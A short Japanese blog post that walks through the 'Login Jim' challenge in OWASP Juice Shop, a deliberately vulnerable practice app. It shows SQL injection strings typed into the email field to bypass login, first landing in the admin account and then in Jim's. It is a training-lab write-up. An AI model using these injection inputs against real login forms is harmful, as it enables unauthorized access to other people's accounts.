shikata ga nai

Private? There is no such things.

Juice ShopのLogin Jimをやってみた

Hello there, ('ω')ノ


Jimのユーザアカウントでログインしなさいとのことで。

 

f:id:ThisIsOne:20200906152532p:plain

 

Benderと同様に下記のように入力して実行すると。

 jim@juice-sh.op' or 1=1 --

 12345

 

f:id:ThisIsOne:20200906153817p:plain

 

クリアできたように思えたものの、adminでのログインのようで。

 

f:id:ThisIsOne:20200906153653p:plain

 

SQLインジェクションを下記のように変更して。

 jim@juice-sh.op' --

 12345

 

f:id:ThisIsOne:20200906171907p:plain

 

ユーザ名を確認して。

 

f:id:ThisIsOne:20200906172539p:plain

 

クリアできた。

 

f:id:ThisIsOne:20200906171947p:plain

 

Best regards, (^^ゞ

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain